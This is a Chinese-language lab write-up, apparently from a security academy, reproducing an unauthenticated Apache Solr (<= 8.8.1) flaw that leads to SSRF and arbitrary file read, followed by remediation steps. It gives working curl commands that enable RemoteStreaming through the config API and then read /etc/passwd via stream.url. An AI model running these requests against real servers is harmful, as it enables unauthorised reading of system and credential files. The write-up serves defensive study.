0x00简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果.
0x01漏洞概述
Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取.
0x02影响范围
Apache Solr <= 8.8.1均受影响
0x03环境搭建
这里我们利用东塔攻防世界的靶场来复现这个漏洞。
地址:https://labs.do-ta.com/
0x04漏洞复现
1,首先我们启动靶场
2,访问靶场的首页
3,访问地址:http://ip:port/solr/admin/cores?indexInfo=false&wt=json
4,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:
curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://120.25.24.45:30277/solr/demo/config'
5,再通过stream.url读取任意文件:
curl -i -s -k 'http://120.25.24.45:30277/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
0x05修复建议
1.首先关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true
2,然后关闭远程读取文件流,默认情况下远程读取文件流是不开启的:
在server/solr目录下寻找与core相同名字的目录,比如名字为core1
如果你发现core1/conf/configoverlay.json文件中存在开启远程读取文件流的配置,那么你很有可能被攻击成功了
修复方法是:把core1/conf/configoverlay.json中的远程读取文件流的配置修改为false(如果只有这一条配置,也可以将整个文件删除)
{“props”:{“requestDispatcher”:{“requestParsers”:{“enableRemoteStreaming”:false}}}}
来源:freebuf.com 2021-04-28 16:54:23 by: 东塔安全学院
请登录后发表评论
注册